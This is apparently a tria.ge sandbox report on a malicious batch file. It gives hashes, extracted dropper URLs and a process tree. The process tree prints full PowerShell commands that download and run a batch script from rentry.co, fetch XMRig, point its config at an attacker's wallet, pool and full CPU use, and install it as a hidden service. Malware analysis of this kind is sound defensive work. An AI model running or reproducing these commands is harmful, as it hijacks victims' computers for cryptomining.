Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2024, 13:20

General

  • Target

    24832729026784.bat

  • Size

    517B

  • MD5

    ac9d73455d58bfa42f81e718b8c8d6b5

  • SHA1

    60040fff333b7bc09b22e5c013f11b8a99555ed3

  • SHA256

    4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12

  • SHA512

    ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://rentry.co/regele/raw

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Signatures

  • XMRig Miner payload 3 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Stops running service(s) 4 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 63 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\24832729026784.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4672
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEB1.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
        3⤵
          PID:1508
          • C:\Windows\system32\net.exe
            net session
            4⤵
              PID:4736
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                5⤵
                  PID:1128
              • C:\Windows\system32\where.exe
                where powershell
                4⤵
                  PID:212
                • C:\Windows\system32\where.exe
                  where find
                  4⤵
                    PID:1136
                  • C:\Windows\system32\where.exe
                    where findstr
                    4⤵
                      PID:2980
                    • C:\Windows\system32\where.exe
                      where tasklist
                      4⤵
                        PID:4456
                      • C:\Windows\system32\where.exe
                        where sc
                        4⤵
                          PID:2108
                        • C:\Windows\system32\sc.exe
                          sc stop moneroocean_miner
                          4⤵
                          • Launches sc.exe
                          PID:4344
                        • C:\Windows\system32\sc.exe
                          sc delete moneroocean_miner
                          4⤵
                          • Launches sc.exe
                          PID:2204
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /t /im xmrig.exe
                          4⤵
                          • Kills process with taskkill
                          PID:4964
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:2960
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:2688
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4716
                        • C:\Users\Admin\moneroocean\xmrig.exe
                          "C:\Users\Admin\moneroocean\xmrig.exe" --help
                          4⤵
                            PID:1768
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                            4⤵
                              PID:4152
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                                5⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4732
                                • C:\Windows\system32\HOSTNAME.EXE
                                  "C:\Windows\system32\HOSTNAME.EXE"
                                  6⤵
                                    PID:2244
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3996
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4720
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Oailvcny\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4964
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3380
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:812
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4224
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3508
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3628
                              • C:\Windows\system32\sc.exe
                                sc stop moneroocean_miner
                                4⤵
                                • Launches sc.exe
                                PID:3344
                              • C:\Windows\system32\sc.exe
                                sc delete moneroocean_miner
                                4⤵
                                • Launches sc.exe
                                PID:3832
                              • C:\Users\Admin\moneroocean\nssm.exe
                                "C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"
                                4⤵
                                  PID:4456
                                • C:\Users\Admin\moneroocean\nssm.exe
                                  "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"
                                  4⤵
                                    PID:4944
                                  • C:\Users\Admin\moneroocean\nssm.exe
                                    "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
                                    4⤵
                                      PID:2788
                                    • C:\Users\Admin\moneroocean\nssm.exe
                                      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"
                                      4⤵
                                        PID:1416
                                      • C:\Users\Admin\moneroocean\nssm.exe
                                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"
                                        4⤵
                                          PID:2740
                                        • C:\Users\Admin\moneroocean\nssm.exe
                                          "C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner
                                          4⤵
                                            PID:1376
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                        2⤵
                                          PID:4324
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic cpu get loadpercentage
                                            3⤵
                                              PID:1696
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 1
                                            2⤵
                                            • Delays execution with timeout.exe
                                            PID:4224
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                            2⤵
                                              PID:4252
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic cpu get loadpercentage
                                                3⤵
                                                  PID:4012
                                              • C:\Windows\system32\timeout.exe
                                                timeout /t 1
                                                2⤵
                                                • Delays execution with timeout.exe
                                                PID:624
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                2⤵
                                                  PID:3456
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic cpu get loadpercentage
                                                    3⤵
                                                      PID:3508
                                                  • C:\Windows\system32\timeout.exe
                                                    timeout /t 1
                                                    2⤵
                                                    • Delays execution with timeout.exe
                                                    PID:5076
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                    2⤵
                                                      PID:3700
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic cpu get loadpercentage
                                                        3⤵
                                                          PID:1048
                                                      • C:\Windows\system32\timeout.exe
                                                        timeout /t 1
                                                        2⤵
                                                        • Delays execution with timeout.exe
                                                        PID:1716
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                        2⤵
                                                          PID:2516
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic cpu get loadpercentage
                                                            3⤵
                                                              PID:1712
                                                          • C:\Windows\system32\timeout.exe
                                                            timeout /t 1
                                                            2⤵
                                                            • Delays execution with timeout.exe
                                                            PID:3984
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                            2⤵
                                                              PID:5052
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic cpu get loadpercentage
                                                                3⤵
                                                                  PID:2192
                                                              • C:\Windows\system32\timeout.exe
                                                                timeout /t 1
                                                                2⤵
                                                                • Delays execution with timeout.exe
                                                                PID:3616
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                2⤵
                                                                  PID:804
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic cpu get loadpercentage
                                                                    3⤵
                                                                      PID:1960
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout /t 1
                                                                    2⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:2540
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                    2⤵
                                                                      PID:2244
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic cpu get loadpercentage
                                                                        3⤵
                                                                          PID:4388
                                                                      • C:\Windows\system32\timeout.exe
                                                                        timeout /t 1
                                                                        2⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:4740
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                        2⤵
                                                                          PID:3816
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic cpu get loadpercentage
                                                                            3⤵
                                                                              PID:1132
                                                                          • C:\Windows\system32\timeout.exe
                                                                            timeout /t 1
                                                                            2⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:1696
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                            2⤵
                                                                              PID:3420
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic cpu get loadpercentage
                                                                                3⤵
                                                                                  PID:3372
                                                                              • C:\Windows\system32\timeout.exe
                                                                                timeout /t 1
                                                                                2⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:3952
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                2⤵
                                                                                  PID:2768
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic cpu get loadpercentage
                                                                                    3⤵
                                                                                      PID:2976
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 1
                                                                                    2⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:1972
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                    2⤵
                                                                                      PID:3508
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic cpu get loadpercentage
                                                                                        3⤵
                                                                                          PID:1548
                                                                                      • C:\Windows\system32\timeout.exe
                                                                                        timeout /t 1
                                                                                        2⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:1700
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                        2⤵
                                                                                          PID:3736
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic cpu get loadpercentage
                                                                                            3⤵
                                                                                              PID:912
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout /t 1
                                                                                            2⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4484
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                            2⤵
                                                                                              PID:4616
                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                wmic cpu get loadpercentage
                                                                                                3⤵
                                                                                                  PID:1664
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout /t 1
                                                                                                2⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:4780
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                2⤵
                                                                                                  PID:5056
                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                    wmic cpu get loadpercentage
                                                                                                    3⤵
                                                                                                      PID:4620
                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                    timeout /t 1
                                                                                                    2⤵
                                                                                                    • Delays execution with timeout.exe
                                                                                                    PID:1576
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                    2⤵
                                                                                                      PID:3616
                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                        wmic cpu get loadpercentage
                                                                                                        3⤵
                                                                                                          PID:3828
                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                        timeout /t 1
                                                                                                        2⤵
                                                                                                        • Delays execution with timeout.exe
                                                                                                        PID:2720
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                        2⤵
                                                                                                          PID:4592
                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                            wmic cpu get loadpercentage
                                                                                                            3⤵
                                                                                                              PID:2072
                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                            timeout /t 1
                                                                                                            2⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:4880
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                            2⤵
                                                                                                              PID:2244
                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                wmic cpu get loadpercentage
                                                                                                                3⤵
                                                                                                                  PID:2900
                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                timeout /t 1
                                                                                                                2⤵
                                                                                                                • Delays execution with timeout.exe
                                                                                                                PID:4468
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                2⤵
                                                                                                                  PID:1132
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic cpu get loadpercentage
                                                                                                                    3⤵
                                                                                                                      PID:4600
                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                    timeout /t 1
                                                                                                                    2⤵
                                                                                                                    • Delays execution with timeout.exe
                                                                                                                    PID:3732
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                    2⤵
                                                                                                                      PID:3488
                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                        wmic cpu get loadpercentage
                                                                                                                        3⤵
                                                                                                                          PID:3676
                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                        timeout /t 1
                                                                                                                        2⤵
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:3396
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                        2⤵
                                                                                                                          PID:2976
                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                            wmic cpu get loadpercentage
                                                                                                                            3⤵
                                                                                                                              PID:4424
                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                            timeout /t 1
                                                                                                                            2⤵
                                                                                                                            • Delays execution with timeout.exe
                                                                                                                            PID:4296
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                            2⤵
                                                                                                                              PID:4160
                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                3⤵
                                                                                                                                  PID:3508
                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                timeout /t 1
                                                                                                                                2⤵
                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                PID:1436
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                2⤵
                                                                                                                                  PID:912
                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                    3⤵
                                                                                                                                      PID:4904
                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                    timeout /t 1
                                                                                                                                    2⤵
                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                    PID:4944
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                    2⤵
                                                                                                                                      PID:1416
                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                        3⤵
                                                                                                                                          PID:3984
                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                        timeout /t 1
                                                                                                                                        2⤵
                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                        PID:5080
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                        2⤵
                                                                                                                                          PID:4532
                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                            3⤵
                                                                                                                                              PID:4488
                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                            timeout /t 1
                                                                                                                                            2⤵
                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                            PID:4460
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                            2⤵
                                                                                                                                              PID:3828
                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                3⤵
                                                                                                                                                  PID:4376
                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                timeout /t 1
                                                                                                                                                2⤵
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:4028
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                2⤵
                                                                                                                                                  PID:1616
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1260
                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                    timeout /t 1
                                                                                                                                                    2⤵
                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                    PID:3244
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1104
                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3868
                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                        timeout /t 1
                                                                                                                                                        2⤵
                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                        PID:4716
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4324
                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3428
                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                            timeout /t 1
                                                                                                                                                            2⤵
                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                            PID:2316
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4728
                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4012
                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                timeout /t 1
                                                                                                                                                                2⤵
                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                PID:3824
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:624
                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1988
                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                    timeout /t 1
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                    PID:2768
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3940
                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4772
                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                        timeout /t 1
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                        PID:4192
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4796
                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1900
                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                            timeout /t 1
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                            PID:4464
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1092
                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1748
                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                PID:5052
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3320
                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2192
                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                    PID:4488
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3076
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4004
                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                        PID:3780
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3616
                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:3440
                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                            PID:936
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4856
                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
